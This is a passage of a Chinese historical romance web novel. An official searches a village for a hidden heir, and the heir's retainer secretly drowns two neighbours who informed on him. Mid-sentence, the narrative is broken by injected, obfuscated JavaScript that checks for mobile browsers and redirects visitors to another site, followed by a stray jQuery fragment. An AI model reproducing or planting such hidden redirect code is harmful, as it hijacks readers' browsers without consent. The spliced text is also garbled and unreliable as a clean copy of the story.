林岑安踏入房内,却见房间的小床上,躺着一道修长的身影。
床上的男子目光冷静地看着他:“官爷,有事吗?”
声音十分平静。
林岑安眼底弥漫出些许失望,他淡淡道:“无事,打扰了。”
一边说,一边转身走出了房间。
只见站在院子里的赵楚章脸色愈加惨白,正眸光凄楚地看着林岑安,一副担忧害怕的神情。
林岑安有些内疚,对赵楚章拱手道:“抱歉,今夜打扰了。”
赵楚章听林岑安这样说,愣了愣,随即回过神来,先前宛若潮水般的恐惧几乎在瞬间退了下去。
怎么回事,难道蘑菇不是林岑安要找的人?
她迅速冷静下来,脸色从惊惧变作了可怜的凄楚,她垂下眼眸,沉默不语。
怎么看都是被欺负了的样子。
林岑安身为金陵府刺史,为了配合京中来的贵人,如此大费周章地行事,夜闯百姓宅居,倘若真的找到人也就算了,可没想到竟找错人了。
还将这丫头吓成这副模样。
只怕她是真的以为,她的这个弟弟是自己要找的人。
他心中懊恼,想起刚刚自己承诺给这个小姑娘的话,便问道:“你方才说要我答应你一个条件,不知是何条件?只要本官能做到,定会满足你。”
赵楚章指着王婶,对林岑安道:“这妇人随意栽赃,身为民女的邻居,竟向官爷您挑唆告密,还请官爷治罪!”
她一边说,一边指向一旁的王婶。
王婶脸色当场吓坏了,她大声辩驳着,声音尖锐难听,惹人厌烦。
林岑安冷漠地挥了挥手,身侧立马便有人朝着王婶冲了上去。
可岂料就在此时,一直躲在暗中的大毛竟直直地冲了上来,一边大声喊道:“阿章,阿章你怎么能让官爷将我娘抓了!”
大毛大闹着跑上来,却被士兵们轻易拦下。
赵楚章冷冷地看着大毛,凉声道:“两个月前你闯入我家抢劫,害得我摔在地上磕了脑子而昏迷,正好今日有大人在,便由大人为民女做主,将他绳之以法罢!”
大毛脸色露出惊悚,没想到阿章竟然想起来了!
林岑安一听,更是懒了废话,不过一个眼神,身侧的士兵便将大毛也抓了起来。
母子两全被林岑安的手下制服,王婶吓得浑身颤抖,哪里还有先前气势汹汹的样子?
林岑安对着赵楚章摆了摆手,这群官兵们便如来时那般鱼贯而出了。
伴随着大毛尖锐刺耳的求饶声,在夜色中渐行渐远。
等他们一行人走后,赵楚章急忙冲入屋子里,却见屋子内竟然站着两个人!
赵楚章意外极了,眉目亮晶晶地惊喜道:“丰然大哥!你怎会在这?”
丰然看了自家少主一眼,才犹豫道:“属……我,我和……”
“我和他早已说好,今日让丰然来助我。”赵蘑菇顺势接过话,“刚刚那林岑安来时,是丰然在屋内,而我躲在了那。”
赵蘑菇伸手指了指窗户外。
赵楚章方才紧张得都快要晕过去,闻言她当真是气恼,却又格外放松,嗔怪道:“你为何不早点对我说?你若早些说了,我方才便不用这样害怕了。”
赵蘑菇低笑道:“我若提前与你说了,对方派兵上门却见你如此镇定,丝毫不慌张,反倒容易引起那位大人的起疑。”
赵楚章想了想,蘑菇说的倒是有几分道理。
赵楚章叹道:“幸好那群官兵已经走了,只要这一关能安然度过,别的都不打紧。”
她想起刚刚的场面便心有余悸,脸上还挂着恐惧后的余色,挂着惧怕的脆弱。
蘑菇看了丰然一眼,丰然急忙道:“我老家有个安神的土方子,我去给你煮碗安神汤,赵姑娘且定定神。”
赵楚章哪里好意思消受?丰然大哥刚刚帮了蘑菇大忙,他来家中乃是客,哪有让客人煮汤给主人喝的道理?
赵楚章自是不肯,与丰然争抢起来,还是蘑菇径直拉过她,这才让丰然出了门。
赵蘑菇道:“其实丰然并非外人,他曾是我的部下,如今虽说是在当镖师,可也是在为我办事。”
这一下,赵楚章是真的怔住了。
所以这段时间以来,丰然大哥之所以这般关照自己,其实是为了蘑菇?!
怪不到她时常对如此大度的丰然感到疑惑,疑惑世间怎会有这般好的人,如此无条件地帮助自己。原来他不是为了帮助自己,而是帮助蘑菇啊!
赵楚章心底的疑惑一下子便解开了,可随之而来的便是感动。
她有些红了眼睛,又已泪目盈盈:“我还道这些日子是我在凭努力赚银钱,没想到竟是托了你的福。定是你让丰然一直光顾我的,若不是你和丰然,只怕我早就要饿死了。”
蘑菇看着赵楚章红彤彤的泪眼,无奈道:“你贴心照顾我,丰然让你赚些银子又如何?何况你绣的荷包确实独一无二,丰然很喜欢。”
赵楚章知道蘑菇在安慰自己,她笑了起来,起身帮丰然熬汤去了。
赵楚章怕那些官兵还找上门来,接下去三天全都安安分分躲在家中,不曾踏出门一步。
乾镇附近的几个乡镇村落,几乎都被搜了一遍。
小叶村也不例外。
只是在搜到赵楚章家时,那士兵认出了赵楚章,只草草扫了两眼,便离开了。
又过五日,隐隐有消息传来,说是那些寻人的官兵们陆续全都撤下了。
乾镇和小叶村逐渐恢复了往日的宁静。
入夜,丰然又悄无声息站在蘑菇的房中,低声道:“于鹤带着那具尸首回京去了。”
赵蘑菇凉笑一声:“他疑心太重,总要率人亲自搜查一遍,才肯安心。”
丰然恨声道:“二殿下简直欺人太甚,自从他和于鹤的嫡女成亲后,两人在朝堂上只手遮天,竟趁着少主离京游学的时候,埋下天罗地网暗杀少主,简直奸诈小人!”
少主武学甚高,否则也不会受这么重的伤,沦落至此。
丰然越想越恨,为自己的少主感到不公。
赵蘑菇凉笑道:“没想到因祸得福,正好给了我们联系外祖父的时间。”
“崖州路程遥远,我们无需急着回京,先与外祖父联系再说。”
丰然点头:“少主吉人天相,定能一举反击。”
夜色已深,丰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405679|184450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然悄然离去,赵蘑菇走出寝房,就看到隔壁房间的灯,竟然还没熄灭。
窗户留了一道缝隙,赵蘑菇透过窗户缝隙朝房内看去,就见赵楚章竟趴在伏案上睡着了。
手中的绣撑滑落在了一旁。
她的眉眼舒展,阖眼入睡,整个人被灯光氤氲出一层柔柔的光。
她是个心善的女子,虽说偶尔蠢笨,也无伤大雅。
赵蘑菇推入她的房中,将她轻易抱起,将她放到了床榻上。
又将她盖上被子,这才悄然退出门去。
·
又过几日,被林岑安抓去的王婶和大毛,被放出来了。
两人各自挨了一顿大板,王婶身子弱,险些扛不过来。还是大毛找了辆推车,将王婶一路推回来的。
大毛的眼中凶相毕露,一边推着王婶往前走,一边恶狠狠道:“娘,你且坚持住!我一定要杀了赵楚章和那个黄毛小子,他们两个狼狈为奸,算计咱们娘两,定是觉得咱们娘两好欺负!”
王婶不断唤着痛,“哎哟”“哎哟”的呼声绵延幽怨,透着恨意。
王婶道:“儿啊,你可一定要,要替我报仇——”
大毛的眼神变得更狠:“放心吧娘!等我回去,我就要了他们的命!”
从乾镇回到小叶村,会经过小叶溪。
小叶溪上有一座桥。
这座桥一向都挺稳的,就连赵楚章的大马车驶过,都能安安稳稳的。
可大抵是这两日下了雪,桥面打滑,不知怎的,大毛推着王婶的推车,莫名其妙就往桥的一侧迅速地滑去,不过是一眨眼的功夫,竟是连人带车都滑落河水底去了!
可怜王婶嘴中发出一声无比惊恐的‘大毛——’的尖叫,声音都不曾落下,整个人便直直地掉入了河水之中,被冰冷的河水给吞噬殆尽。
大毛急红了眼睛:“娘——”
他慌忙转身想要跑到河边去救人,可谁知才刚转身,就见到面前多了一个青年。
青年面无表情地对着他的身体挥出了一掌,大毛整个人便也跟着王婶落入了水中。
冬日的水流并不急,可这水却是十足的刺骨冰冷。
昏暗的夜空隐约又开始落雪,雪花飘落进河水中,被河水吞噬不见。
丰然冷眼看着河面的涟漪逐渐平静,转身回到了黑暗里。
·
天色越来越寒。
很快从十一月底,滑到了腊月。
南方的雪飘了一场又一场,只是每一场都是细细密密的小雪,似有还无,落在肩头便化了,只留下一抹淡淡的水痕。
隔壁的王妈和大毛再也没有回来过。
村子里有人提起他们时,便觉得唏嘘,这么久不回来,定是被那大人用了什么酷刑,没捱过来。
也有人说他们是咎由自取,莫名其妙要将那些士兵引到阿章家,结果倒好,搬起石头砸自己的脚,连命都搭进去了。
村子里的人议论纷纷了好一段时日,声音也就逐渐散去了。
众人依旧各过各的,眼看接近年关,家家户户都忙着操持年货,也逐渐懒得再说起这些不吉利的事。
而原本王婶的家,搬进来了一个新面孔。